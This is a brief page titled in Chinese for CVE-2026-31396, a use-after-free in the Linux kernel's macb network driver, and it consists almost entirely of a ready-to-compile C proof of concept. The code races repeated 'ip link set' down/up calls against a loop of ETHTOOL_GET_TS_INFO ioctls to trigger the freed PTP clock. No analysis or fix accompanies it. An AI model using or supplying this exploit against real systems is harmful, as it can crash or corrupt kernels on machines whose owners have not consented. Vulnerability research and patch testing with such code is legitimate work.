CVE-2026-31396 Linux内核macb驱动释放后重用漏洞

/* * PoC for CVE-2026-31396: Use-After-Free in macb PTP clock * This code races interface close/open with ethtool get_ts_info calls. * Compile: gcc -o poc poc.c -lpthread */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <linux/sockios.h> #include <pthread.h> #include <linux/ethtool.h> #define IFNAME "eth0" // Replace with actual interface name void* toggle_interface(void* arg) { char cmd[128]; while(1) { snprintf(cmd, sizeof(cmd), "ip link set %s down", IFNAME); system(cmd); snprintf(cmd, sizeof(cmd), "ip link set %s up", IFNAME); system(cmd); usleep(1000); } return NULL; } void* trigger_ethtool(void* arg) { int sock; struct ifreq ifr; struct ethtool_ts_info info; sock = socket(AF_INET, SOCK_DGRAM, 0); if (sock < 0) return NULL; memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, IFNAME, IFNAMSIZ - 1); while(1) { memset(&info, 0, sizeof(info)); info.cmd = ETHTOOL_GET_TS_INFO; ifr.ifr_data = (void*)&info; ioctl(sock, SIOCETHTOOL, &ifr); } close(sock); return NULL; } int main() { pthread_t t1, t2; printf("Starting PoC for CVE-2026-31396...\n"); pthread_create(&t1, NULL, toggle_interface, NULL); pthread_create(&t2, NULL, trigger_ethtool, NULL); pthread_join(t1, NULL); pthread_join(t2, NULL); return 0; }